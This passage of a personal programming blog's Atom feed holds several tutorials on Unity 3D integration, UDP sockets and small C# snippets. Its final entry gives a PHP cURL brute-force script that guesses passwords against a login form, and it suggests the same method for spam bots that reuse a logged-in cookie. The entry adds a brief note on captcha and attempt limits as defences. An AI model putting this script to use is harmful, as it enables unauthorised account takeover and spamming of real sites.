&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/4SBAEgMa4Ng?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
(&lt;a href=&quot;http://www.youtube.com/watch?v=4SBAEgMa4Ng&quot;&gt;http://www.youtube.com/watch?v=4SBAEgMa4Ng&lt;/a&gt;)&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Please do share this video with others who are interested in this stuff...!!!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/5972572928095278497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/05/unity3d-faceapi-integration-to-achieve.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5972572928095278497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5972572928095278497'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/05/unity3d-faceapi-integration-to-achieve.html' title='Unity3d faceapi integration to achieve augmented reality [ Video tutorials ]'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-3528782725128081321</id><published>2010-12-15T23:10:00.000-08:00</published><updated>2014-12-09T08:53:43.568-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Augmented Reality"/><category scheme="http://www.blogger.com/atom/ns#" term="unity 3d"/><title type='text'>Unity 3D Integration with any application/code/tool [TUTORIAL]</title><content type='html'>So, have you got a very good algorithm for Real Time eye detection with webcam in MATLAB, and want to integrate it with Unity 3D like, the realtime coordinates of your eye alter a game object or are you having a cool hand detection algorithm in any language and want to integrate it with Unity 3D? You have come to the right place.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Any application/external code can be integrated with Unity 3D. The concept is very simple, we are going to make them (unity and the external app/code) speak the same language (i.e.) Socket Programming. If you are new to Socket Programming, I recommend you to read some tutorial. Anyways, here I have done a simple Unity 3D UDP Server/Client as example. This code can be used to integrate Unity 3D with other codes/applications/tools.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Tutorials::&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
Download the project files first, check the end of this post for download link&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Unity 3D UDP Server&lt;/u&gt;&lt;/b&gt; &lt;br /&gt;
1. Open Unity 3D and create a new project&lt;br /&gt;
2. Right Click in &quot;Project&quot; pane and do: &lt;b&gt;Create--&amp;gt;C Sharp Script&lt;/b&gt;&lt;br /&gt;
3. Now you get a new script called &lt;b&gt;NewBehaviourScript &lt;/b&gt;in your project pane&lt;br /&gt;
4. Download the attachment with this post and copy the code of &quot;&lt;b&gt;server.cs&lt;/b&gt;&quot; file from the downloaded file into the &lt;b&gt;NewBehaviourScript&lt;/b&gt;&lt;br /&gt;
5. Make sure that you rename &lt;b&gt;NewBehaviourScript &lt;/b&gt;to&lt;b&gt; server&lt;/b&gt;&lt;br /&gt;
6. Attach this script(&lt;b&gt;server&lt;/b&gt;) to any gameobject, for simplicity, &lt;b&gt;Main Camera&lt;/b&gt;&lt;br /&gt;
7. Go to &lt;b&gt;Edit--&amp;gt;Project Settings--&amp;gt;Player&lt;/b&gt; and check &quot;&lt;b&gt;Run In Background&lt;/b&gt;&quot; (Unity 3D applications by default&lt;b&gt;, &lt;/b&gt;freeze when the focus is removed from them, so to prevent it, we use this)&lt;br /&gt;
8. Build and Run this project&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Unity 3D UDP Client&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1. Open Unity 3D and create a new project&lt;br /&gt;
2. Right Click in &quot;Project&quot; pane and do: &lt;b&gt;Create--&amp;gt;C Sharp Script&lt;/b&gt;&lt;br /&gt;
3. Now you get a new script called &lt;b&gt;NewBehaviourScript &lt;/b&gt;in your project pane&lt;br /&gt;
4. Download the attachment with this post and copy the code of &quot;&lt;b&gt;client.cs&lt;/b&gt;&quot; file from the downloaded file into the &lt;b&gt;NewBehaviourScript&lt;/b&gt;&lt;br /&gt;
5. Make sure that you rename &lt;b&gt;NewBehaviourScript &lt;/b&gt;to&lt;b&gt; client&lt;/b&gt;&lt;br /&gt;
6. Attach this script(&lt;b&gt;client&lt;/b&gt;) to any gameobject, for simplicity, &lt;b&gt;Main Camera&lt;/b&gt;&lt;br /&gt;
7. Go to &lt;b&gt;Edit--&amp;gt;Project Settings--&amp;gt;Player&lt;/b&gt; and check &quot;&lt;b&gt;Run In Background&lt;/b&gt;&quot; (Unity 3D applications by default&lt;b&gt;, &lt;/b&gt;freeze when the focus is removed from them, so to prevent it, we use this)&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
For testing, we will use both client and server from Unity 3D&lt;br /&gt;
Make sure that server application is running, Run the client application from within Unity 3D itself, because the code that I have given uses print() function and you can see it within Unity 3D only. Otherwise, you have to check the logs.&lt;br /&gt;
&lt;br /&gt;
You can now observe that inside Unity 3D, client application prints integers, which is sent by none other than the independent and separate server application.&lt;br /&gt;
&lt;br /&gt;
Now, use your imagination to build some cool Unity 3D applications like you can send your real time eye coordinates or say eye blink etc., from webcam through any application/language/tool and use UDP client of this project and use this data to control any gameobject inside Unity 3D&lt;br /&gt;
These are few example projects based on this idea:&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=yN_YEnDs2uk&quot;&gt;http://www.youtube.com/watch?v=yN_YEnDs2uk&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=-GxykrIB3yM&quot;&gt;http://www.youtube.com/watch?v=-GxykrIB3yM&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Project Files&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Download Link 1:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.megaupload.com/?d=IIV1H4WB&quot;&gt;http://www.megaupload.com/?d=IIV1H4WB&lt;/a&gt;&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/3528782725128081321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/12/unity-3d-integration-with-any.html#comment-form' title='44 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/3528782725128081321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/3528782725128081321'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/12/unity-3d-integration-with-any.html' title='Unity 3D Integration with any application/code/tool [TUTORIAL]'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>44</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-6924285201820977670</id><published>2010-12-02T13:19:00.001-08:00</published><updated>2014-12-09T08:55:22.420-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Augmented Reality"/><category scheme="http://www.blogger.com/atom/ns#" term="faceapi"/><category scheme="http://www.blogger.com/atom/ns#" term="unity 3d"/><title type='text'>Unity 3D FaceAPI Integration Tutorials</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
First of all Im really sorry for taking a long time for releasing this awaited tutorials with all working codes.&lt;br /&gt;
&lt;br /&gt;
Since I dont have web space of my own, I rely on free file hostings, I have uploaded the required files with the mirrors::&lt;br /&gt;
Demo:&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=yN_YEnDs2uk&quot;&gt;http://www.youtube.com/watch?v=yN_YEnDs2uk&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tutorials PDF file: (Only the below two files/links are enough, other links are mirror links)&lt;br /&gt;
&lt;a href=&quot;http://www.4shared.com/office/u4ZV8-ME/Unity_3D_FaceAPI_Integration.html&quot;&gt;http://www.4shared.com/office/u4ZV8-ME/Unity_3D_FaceAPI_Integration.html&lt;/a&gt;&lt;br /&gt;
OR &lt;br /&gt;
&lt;a href=&quot;http://www.megaupload.com/?d=G88L0PY1&quot;&gt;http://www.megaupload.com/?d=G88L0PY1&lt;/a&gt;&lt;br /&gt;
OR&lt;br /&gt;
&lt;a href=&quot;http://www.esnips.com/doc/2e10244f-ee05-473b-8c82-dbf1fc1aa244/Unity_3D_FaceAPI_Integration&quot;&gt;http://www.esnips.com/doc/2e10244f-ee05-473b-8c82-dbf1fc1aa244/Unity_3D_FaceAPI_Integration &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Full Project (Unity Package File):&lt;br /&gt;
&lt;a href=&quot;http://www.4shared.com/zip/f0-PHD1h/faceAPI.html&quot;&gt;http://www.4shared.com/zip/f0-PHD1h/faceAPI.html&lt;/a&gt;&lt;br /&gt;
OR &lt;br /&gt;
&lt;a href=&quot;http://www.megaupload.com/?d=YKX2B382&quot;&gt;http://www.megaupload.com/?d=YKX2B382&lt;/a&gt;&lt;br /&gt;
OR&lt;br /&gt;
&lt;a href=&quot;http://www.esnips.com/doc/11acf06f-232a-4941-abe5-12a80aa713b0/faceAPI&quot;&gt; http://www.esnips.com/doc/11acf06f-232a-4941-abe5-12a80aa713b0/faceAPI&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
Download the PDF file, that contains links of files to be downloaded... &lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;div style=&quot;color: red;&quot;&gt;
&lt;u&gt;&lt;b&gt;IMPORTANT UPDATE:&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div style=&quot;color: red;&quot;&gt;
In new Unity versions, there is an error &quot;Null reference&quot;, this bug is fixed. Download this file&lt;br /&gt;
&lt;a href=&quot;http://www.4shared.com/file/9E6oGLWg/script.html&quot;&gt;http://www.4shared.com/file/9E6oGLWg/script.html&lt;/a&gt;&lt;br /&gt;
OR&lt;br /&gt;
&amp;nbsp;&lt;a href=&quot;http://www.mediafire.com/?ovz29bodd013gbk&quot;&gt;http://www.mediafire.com/?ovz29bodd013gbk&lt;/a&gt;&lt;br /&gt;
OR&lt;/div&gt;
&lt;div style=&quot;color: red;&quot;&gt;
&lt;a href=&quot;http://www.megaupload.com/?d=BOOK6WCD&quot;&gt;http://www.megaupload.com/?d=BOOK6WCD&lt;/a&gt; &lt;/div&gt;
&lt;div style=&quot;color: red;&quot;&gt;
and replace the original script.cs file from /scripts in the unity package...&lt;br /&gt;
&lt;br /&gt;
Thank god, found this script from my video(10:37), dont forget to check the video. Check the link down.&lt;br /&gt;
&lt;br /&gt;
Dont forget to view this post:&lt;br /&gt;
&lt;a href=&quot;http://mypersonalsoft.blogspot.com/2011/05/unity3d-faceapi-integration-to-achieve.html&quot;&gt;http://mypersonalsoft.blogspot.com/2011/05/unity3d-faceapi-integration-to-achieve.html&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Enjoy....&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #3333ff;&quot;&gt;Please don&#39;t forget to post your comments here. This is my first tutorial, and your comment will really help me in improving myself... &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3333ff;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
And Unity 3D handVU Integration Tutorials will take some more time...sorry again friends!!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/6924285201820977670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/12/unity-3d-faceapi-intergation-tutorials.html#comment-form' title='41 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6924285201820977670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6924285201820977670'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/12/unity-3d-faceapi-intergation-tutorials.html' title='Unity 3D FaceAPI Integration Tutorials'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>41</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-7799487914672577541</id><published>2010-10-30T14:06:00.000-07:00</published><updated>2010-10-30T14:16:40.843-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="array"/><category scheme="http://www.blogger.com/atom/ns#" term="bit"/><category scheme="http://www.blogger.com/atom/ns#" term="byte"/><category scheme="http://www.blogger.com/atom/ns#" term="byte array to bit"/><category scheme="http://www.blogger.com/atom/ns#" term="byte to bit"/><category scheme="http://www.blogger.com/atom/ns#" term="c sharp"/><title type='text'>Extracting individual bits from a byte array in C Sharp</title><content type='html'>Byte Array to bit conversion operation is often required operation when you are operating at bit level. The following program shows how to convert a string to its ASCII equivalent and read it bit by bit.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;...&lt;br /&gt;string txt = &quot;C Sharp is cool&quot;; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;//let txt be any text&lt;/span&gt;&lt;br /&gt;byte[] txt_byt = Encoding.ASCII.GetBytes(txt); &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;//txt_byt contains an array of byte equivalent(ASCII) of each character of the string&lt;/span&gt;&lt;br /&gt;BitArray b_ar = new BitArray(txt_byt); &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;//Now b_ar is a Bit Array that contains all the bits extracted from the byte array txt_byt. And note that bits are stored as boolean values, so the comparison will be&lt;/span&gt;&lt;br /&gt;for (int i = 0; i &lt; b_ar.Length; i++)&lt;br /&gt;{&lt;br /&gt;if (b_ar[i] == false)&lt;br /&gt;{&lt;br /&gt;Console.Write(&quot;0&quot;);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;Console.Write(&quot;1&quot;);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;... &lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/7799487914672577541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/10/extracting-individual-bits-from-byte.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/7799487914672577541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/7799487914672577541'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/10/extracting-individual-bits-from-byte.html' title='Extracting individual bits from a byte array in C Sharp'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-8438720659955763109</id><published>2010-10-30T13:56:00.000-07:00</published><updated>2013-06-11T00:46:14.441-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="c sharp"/><category scheme="http://www.blogger.com/atom/ns#" term="colors"/><category scheme="http://www.blogger.com/atom/ns#" term="comparing"/><title type='text'>Comparing Colors in C Sharp</title><content type='html'>Sometimes there could be problems in comparing two colors in C Sharp because we cant direct compare two colors using (==) operator. One handy solution is that write a function that compares each component of the color as:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;br /&gt;
public bool comp(Color A, Color B)&lt;br /&gt;
{&lt;br /&gt;
if (A.A.Equals(B.A) &amp;amp;&amp;amp; A.R.Equals(B.R) &amp;amp;&amp;amp; A.G.Equals(B.G) &amp;amp;&amp;amp; A.B.Equals(B.B))&lt;br /&gt;
{&lt;br /&gt;
return true;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
return false;&lt;br /&gt;
}&lt;br /&gt;
}&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
And now you can check two colors like&lt;br /&gt;
&lt;blockquote&gt;
&lt;br /&gt;
if(comp(Color.Black,Color.White)==true)&lt;br /&gt;
{&lt;br /&gt;
...&lt;br /&gt;
}&lt;/blockquote&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/8438720659955763109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/10/comparing-colors-in-c-sharp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8438720659955763109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8438720659955763109'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/10/comparing-colors-in-c-sharp.html' title='Comparing Colors in C Sharp'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-6770387722261957304</id><published>2010-10-02T04:20:00.000-07:00</published><updated>2010-10-02T04:37:09.296-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bruteforce"/><category scheme="http://www.blogger.com/atom/ns#" term="curl"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><title type='text'>Simple BruteForce Bot in PHP</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;THIS TUTORIAL IS JUST FOR EDUCATIONAL PURPOSES&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Guys, I wanna show a simple bruteforce script in PHP using CURL. This script can be used for hacking any passwords with weaker security (i.e.) If that website isnt having captcha or it doesnt limit number of login attempts.&lt;br /&gt;&lt;br /&gt;Assumptions:&lt;br /&gt;1. After logging in, the user might see some text like &quot;logout&quot;&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt; &amp;lt;?php&lt;br /&gt;set_time_limit(0);&lt;br /&gt;$url=&quot;&lt;b&gt;URL_To_ATTACK&lt;/b&gt;&quot;;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Write your own block to generate all possible strings that you wish to try using for loops and then generate &lt;b&gt;$pass&lt;/b&gt; variable which you want to try&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;*/&lt;/span&gt;&lt;br /&gt;echo &quot;Trying {$pass}&quot;;&lt;br /&gt;$ch = curl_init();&lt;br /&gt;curl_setopt($ch, CURLOPT_URL, $url );&lt;br /&gt;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;curl_setopt($ch, CURLOPT_POST, true);&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;/span&gt;&lt;br /&gt;curl_setopt($ch, CURLOPT_POSTFIELDS, &quot;username=&lt;b&gt;XXX&lt;/b&gt;&amp;amp;password={$pass}&quot;);&lt;br /&gt;$output = curl_exec($ch);&lt;br /&gt;curl_close($ch);&lt;br /&gt;if(strstr($output,&quot;logout&quot;))&lt;br /&gt;{&lt;br /&gt;echo &quot;&lt;span style=&quot;color:\;&quot;&gt;Account hacked!!&lt;/span&gt;&quot;;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/blockquote&gt;-----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;This technique can also be used for creating auto spamming bots, in forms, forums etc., If login is required for spamming, use the following line:&lt;br /&gt;&lt;br /&gt;curl_setopt($ch, CURLOPT_COOKIEFILE, &#39;/cookie.txt&#39;);&lt;br /&gt;&lt;br /&gt;Where cookie.txt contains the success login account&#39;s cookie for that website!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To evade these types of attacks, you can use a captcha or you can block the user if he tries wrong password for X times.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/6770387722261957304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/10/simple-bruteforce-bot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6770387722261957304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6770387722261957304'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2010/10/simple-bruteforce-bot.html' title='Simple BruteForce Bot in PHP'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry></feed>